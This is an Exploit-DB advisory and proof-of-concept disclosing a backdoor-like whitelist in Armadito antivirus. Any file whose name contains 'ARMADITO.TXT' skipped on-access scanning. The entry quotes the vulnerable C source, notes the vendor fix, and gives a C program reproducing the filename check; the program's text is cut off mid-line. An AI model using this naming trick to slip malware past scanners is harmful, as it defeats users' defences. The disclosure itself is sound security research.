Exploit-DB #39915
Description: Armadito Antimalware - Backdoor Access/Bypass
Type: dos
Platform: windows
Date: 2016-06-10
Author: Ax.

Exploit:
/*
# Exploit Title : Armadito antimalware - Backdoor/Bypass
# Date : 07-06-2016 (DD-MM-YYYY)
# Exploit Author : Ax.
# Vendor Homepage : http://www.teclib-edition.com/teclib-products/armadito-antivirus/
# Software Link : https://github.com/41434944/armadito-av
# Version : No version specified. Fixed 07-06-2016 post-disclosure
# Tested on : Windows 7

1. Description
Armadito is an modern antivirus developped by the french company TecLib' (http://www.teclib.com/). Looking at the source code made public few days ago we discovered that there was a backdoor (or a really lack of knowledge from their developpers, meaning that they should reconsider working in security).

2. Proof Of Concept
As it can be seen in the GitHub repository in the file : armadito-av/core/windows/service/scan_onaccess.c at line 283. An obvious backdoor has been implemented.

[SOURCE]
			if (msDosFilename == NULL) {
				a6o_log(ARMADITO_LOG_SERVICE,ARMADITO_LOG_LEVEL_WARNING, " ArmaditoSvc!UserScanWorker :: [%d] :: ConvertDeviceNameToMsDosName failed :: \n",ThreadId);				
				scan_result = ARMADITO_EINVAL;
			}
			else if (strstr(msDosFilename,"ARMADITO.TXT") != NULL) {  // Do not scan the log file. (debug only)
				scan_result = ARMADITO_WHITE_LISTED;
			}
			else {

				// launch a simple file scan
				//printf("[+] Debug :: UserScanWorker :: [%d] :: a6o_scan :: [%s] \n",ThreadId,msDosFilename);
				scan_result = a6o_scan_simple(Context->armadito, msDosFilename, &report);
				a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_DEBUG, "[+] Debug :: UserScanWorker :: [%d] :: %s :: %s\n", ThreadId, msDosFilename, ScanResultToStr(scan_result));
				printf("[+] Debug :: UserScanWorker :: [%d] :: %s :: %s\n", ThreadId, msDosFilename, ScanResultToStr(scan_result));

			}
[/SOURCE]

Calling a file ARMADITO.TXT-Malware.exe (or whatever containing ARMADITO.TXT in its name) simply bypass the runtime analysis of the antivirus. You can find attach a small piece of code based on Armadito to reproduce the exploit.

3. Solution

Stop paying developpers that do not know how to deal with security. (Reading the rest of the code has been an exhausting work).

3 bis. Real solution

It seems that they fixed the backdoor already (https://github.com/armadito/armadito-av/blob/DEV/core/windows/service/scan_onaccess.c)
*/

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#define BUFSIZE 4096
#define MAX_PATH_SIZE 255
#define ARMADITO_EINVAL 0
#define ARMADITO_WHITE_LISTED 1
char * ConvertDeviceNameToMsDosName(LPSTR DeviceFileName)
{
	char deviceDosName[BUFSIZE];
	char deviceLetter[3] = { '\0' };
	char deviceNameQuery[BUFSIZE] = { '\0' };
	char * deviceDosFilename = NULL;
	DWORD len = 0;
	DWORD len2 = 0;
	DWORD ret = 0;
	BOOL bFound = FALSE;
	char * tmp;

	if (DeviceFileName == NULL) {
		//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, " [-] Error :: ConvertDeviceNameToMsDosName :: invalid parameter DeviceName\n");
		printf("FileName null.\n");
		return NULL;
	}

	// Get the list of the logical drives.
	len = GetLogicalDriveStringsA(BUFSIZE, deviceDosName);
	if (len == 0) {
		//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, "[-] Error :: ConvertDeviceNameToMsDosName!GetLogicalDriveStrings() failed ::  error code = 0x%03d", GetLastError());
		printf("Error : GetLogicalDriveStringsA()\n");
		return NULL;
	}


	tmp = deviceDosName;

	do {

		//printf("[+] Debug :: deviceDosName = %s\n",tmp);

		// Get the device letter without the backslash (Ex: C:).
		memcpy_s(deviceLetter, 2, tmp, 2);

		if (!QueryDosDeviceA(deviceLetter, deviceNameQuery, BUFSIZE)) {
			//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, "[-] Error :: QueryDosDeviceA() failed ::  error code = 0x%03d\n", GetLastError());
			printf("Error : QuedryDosDeviceA()\n");
			return NULL;
		}
		
		//printf("[+] Debug :: DeviceName = %s ==> %s\n",deviceNameQuery,deviceLetter);
		if (deviceNameQuery == NULL) {
			//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, "[-] Error :: ConvertDeviceNameToMsDosName :: QueryDosDeviceA() failed ::  deviceNameQuery is NULL\n", GetLastError());
			printf("deviceNameQuery null.\n");
		}

		if (deviceNameQuery != NULL && strstr(DeviceFileName, deviceNameQuery) != NULL) {
			//printf("[+] Debug :: FOUND DeviceName = %s ==> %s\n",deviceNameQuery,deviceLetter);

			len2 = strnlen_s(deviceNameQuery, MAX_PATH_SIZE);
			len = strnlen_s(DeviceFileName, MAX_PATH_SIZE) - len2 + 3;

			deviceDosFilename = (char*)calloc(len + 1, sizeof(char));
			deviceDosFilename[len] = '\0';

			memcpy_s(deviceDosFilename, len, tmp, 3);
			memcpy_s(deviceDosFilename + 2, len, DeviceFileName + len2, len - 1);

			bFound = TRUE;

		}

		// got to the next device name.
		while (*tmp++);
		//printf("[+] Debug :: next device name = %s\n",tmp);


	} while (bFound == FALSE && *tmp);


	if (bFound == FALSE) {
		return NULL;
	}

	return deviceDosFilename;
}


int main(int argc, char ** argv)
{
	char * msDosFilename = NULL;
	int i = 0;
	LPSTR ArmaditoFile = "\\Device\\HarddiskVolume2\\ARMADITO.TXT"; /* Converted, this is C:\\ARMADITO.txt */
	LPSTR BinaryFile = "\\Device\\HarddiskVolume2\\Malware.exe"; /* Converted, this is C:\\malware.exe */
	LPSTR BinaryPOCFile = "\\Device\\HarddiskVolume2\\ARMADITO.TXT-ILoveJeromeNotin.exe"; /* Converted, this is C:\\ARMADITO.txt-ILoveJeromeNotin.exe */
	char *string;
	int scan_result = -1;
	
	/* Armadito get the filename from message->msg.FileName ; We remplaced it using a simple string*/
	// msDosFilename = ConvertDeviceNameToMsDosName(message->msg.FileName);
	for (i = 0; i < 3; i++)
	{
		if (i == 0)
		{
			printf("Scanning C:\\ARMADITO.txt\n");
			msDosFilename = ConvertDeviceNameToMsDosName(ArmaditoFile);
		}
		else if (i == 1)
		{
			printf("Scanning C:\\malware.exe\n");
			msDosFilename = ConvertDeviceNameToMsDosName(BinaryFile);
		}
		else
		{
			print